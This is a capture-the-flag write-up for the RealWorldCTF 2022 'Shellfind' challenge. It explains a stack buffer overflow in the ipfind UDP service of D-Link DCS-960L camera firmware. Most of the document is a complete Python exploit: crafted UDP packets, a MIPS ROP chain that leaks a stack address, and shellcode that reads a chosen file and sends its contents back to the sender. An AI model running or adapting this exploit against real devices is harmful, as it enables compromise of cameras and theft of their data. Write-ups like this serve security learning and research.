### Shellfind
was a pwn challenge from RealWorldCTF 2022 edition
The goal is to exploit a buffer overflow in an udp service on a dlink *DCS-960L* camera.
We were given only the firmware, and the hint that the service to exploit was running on an UDP port..
so I start from firmware, extract it with `binwalk`..
and start to search which service was forwarded to us by the challenge on the udp port..
we find some candidates, `ddp` , `ipfind`, and start to reverse their protocol to obtain an answer from the udp port and confirm that it was this service..
we finally identify that `ipfind` was the service forwarded to us on the udp port.. (shellfind name was probably a hint)
we start to reverse it to find a vulnerability in it.
`ipfind` has two commands basically,one to write config values, and another one that return us config values.
We found a buffer overflow in the function `sub_400F50()`, a function that it called by the write config values command, and which decode base64 given password and group sent by us..
![](https://github.com/nobodyisnobody/write-ups/raw/main/RealWorldCTF.2022/pwn/Shellfind/pics/reverse.png)
the function does not check for size of passed base64 string, and decode them directyly in a buffer on stack..
as we can send a packet of up to 0x800 bytes, we can easily overflow these two buffers.
The camera is running on a mips processor, and mips exploitation is not easy.
I finally succed in making a ROP to leak a stack value in `.bss`,
then to read another payload from the UDP socket, and overflow the buffers a second time..
but even with our leak , the aslr make the distance from our shellcode, and the leak moving a lot between run..
so resulting shellcode was unreliable, working only 1/10 times probably...
If I had more time, I will have go for a second run, leak other part of stack after the first leak, send another payload etc...
but in ctf condition you have to be quick.. so I decide that working 1/10 times was enough for succeeding...
so I did two shellcodes:
+ one, to list files via `getdents` and export the result via the already opened udp socket..to locate the flag on the remote filesystem
+ another one, to exfiltrate the flag file via the openened udp port too..
and that's all
Here is the exploit for exporting the file via udp
```pythonfrom pwn import *import base64
context.update(arch="mips", endian='big', os="linux")
fd = 3
context.log_level = 'info'# shellcode that reuse the udp socket to receive filename, open it, read it, and use sento on udp socket to exfiltrate itshellc = asm ('''   /* recvfrom */    li $v0,4176    li $a0, %d    add $a1,$sp,-1024    li $a2,0x100    move $a3,$zero
    add $s0,$sp,-1048    sw $s0,16($sp)    add $s0,$sp,-1072    sw $s0,20($sp)    syscall 0x040405    nop
    li $v0,4005    add $a0,$sp,-1024    move $a1,$zero    syscall 0x040405    nop
    add $a0,$zero,$v0    add $a1,$sp,-16384    li $a2,8192    li $v0,4003    syscall 0x040405    nop    add $a1,$sp,-16384    add $a2,$zero,$v0
   /* sendto */   li $v0,4180   li $a0, 3   move $a3,$zero   add $s0,$sp,-1048   sw $s0,16($sp)   li  $s0,0x10   sw $s0,20($sp)   syscall 0x040405   nop''' % fd)
context.log_level = 'debug'
if args.REMOTE:  p = connect('47.89.210.186', 57798)  p.sendlineafter('now:\n', 'qwkQZgWBSaq3jepFDsHf2A==')  p.recvuntil('port is : ', drop=True)  port = int( p.recvuntil(' ', drop=True),10)  print('waiting...')  sleep(40)  print('trying...')else:  port = 62721
if args.REMOTE:  r = connect('47.89.210.186', port, typ="udp")else:  r = connect('127.0.0.1', port, typ="udp")#  r = connect('47.89.210.186', 31761, typ="udp")
pkt = bytearray()pkt += b'FIVI'pkt += b'COCK'# 8pkt += b'\x0a'# 9: opcode? 1 => read, 2 => writepkt += b'\x01\x00'# 11: idkpkt += bytes(2)# 13: ifaddrpkt += bytes(4)# 17: mac addr of devicepkt += b'\xff' * 6# 23: no cluepkt += bytes(2)# 25: payload len?pkt += bytes(4)r.send(pkt)resp = r.recvn(541)remote_mac = resp[17:][:6]remote_ifaddr = u32(resp[13:17], endian='big')log.info('remote_mac: %s', remote_mac.hex())log.info('remote_ifaddr: 0x%08x', remote_ifaddr)
pkt = bytearray()pkt += b'FIVI'pkt += b'COCK'# 8pkt += b'\x0a'# 9: opcode? 1 => read, 2 => writepkt += b'\x02\x00'# 11: idkpkt += bytes(2)# 13: ifaddrpkt += p32(remote_ifaddr, endian='big')# 17: mac addr of devicepkt += remote_mac# 23: no cluepkt += bytes(2)# 25: payload len?pkt += p32(0x8E, endian='little')
'''returning of sub_400f50(dont forget in mips instruction after jr is executed too)
text:00401078                 move    $v0, $s0.text:0040107C                 lw      $ra, 0x35C+var_s8($sp).text:00401080                 lw      $s1, 0x35C+var_s4($sp).text:00401084                 lw      $s0, 0x35C+var_s0($sp).text:00401088                 jr      $ra.text:0040108C                 addiu   $sp, 0x368'''
gadget1 = 0x0400F3C	# set $a1gadget2 = 0x04020B0	# move    $a0, $s0    gadget3 = 0x00401078 # move $v0, $s0; lw $ra, 0x364($sp); lw $s1, 0x360($sp); lw $s0, 0x35c($sp); jr $ra; addiu $sp, $sp, 0x368;gadget3b = 0x4010fcgadget4 = 0x00400ca0 # lw $ra, 0x1c($sp); jr $ra; addiu $sp, $sp, 0x20;gadget5 = 0x00401720 # lw $s0, 0x48($sp); jr $ra; addiu $sp, $sp, 0x58;syscall = 0x4001d8
payload1 = b'pipo'
payload2 = p32(0xdeadbeef)*145payload2 += p32(3)		# $s0payload2 += p32(0x413138)		# $s1 payload2 += p32(0x4016ec)	# $rapayload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)payload2 += p32(0)*11+p32(fd)+p32(1)+p32(1)+p32(gadget2)
payload2 += b'\x00'*0x7c + p32(0x413138 - 0x11)+p32(0)+p32(0x400f3c)
payload2 += b'\x00'*0x20+p32(0x413134)+p32(0x4016b4)
payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030) +p32(0)*11+p32(0x413400)+p32(0x413400)+p32(0x413134)+p32(0x402410)
payload2 += p32(0)*4+p32(0x413170)+p32(0x10)+p32(0x41b030)
pkt += base64.b64encode(payload1).ljust(64,b'\x00')pkt += base64.b64encode(payload2)
r.send(pkt)buff = r.recv(0x1d)print(hexdump(buff))
stack = u32(buff[0:4])print('stack leak = '+hex(stack))
pkt = bytearray()pkt += b'FIVI'pkt += b'COCK'# 8pkt += b'\x0a'# 9: opcode? 1 => read, 2 => writepkt += b'\x02\x00'# 11: idkpkt += bytes(2)# 13: ifaddrpkt += p32(remote_ifaddr, endian='big')# 17: mac addr of devicepkt += remote_mac# 23: no cluepkt += bytes(2)# 25: payload len?pkt += p32(0x8E, endian='little')
payload2 = p32(0xdeadbeef)*145payload2 += p32(3)              # $s0payload2 += p32(0x413138)               # $s1 payload2 += p32( (stack - 0xe00) & 0xfffffff0)       # $rapayload2 += p32(0)*128 + shellc
pkt += base64.b64encode(payload1).ljust(64,b'\x00')pkt += base64.b64encode(payload2)
r.send(pkt)sleep(0.2)r.send('/firmadyne/flag\x00')while True:  print(r.recv())
r.interactive()```
*nobodyisnobody still pwning..*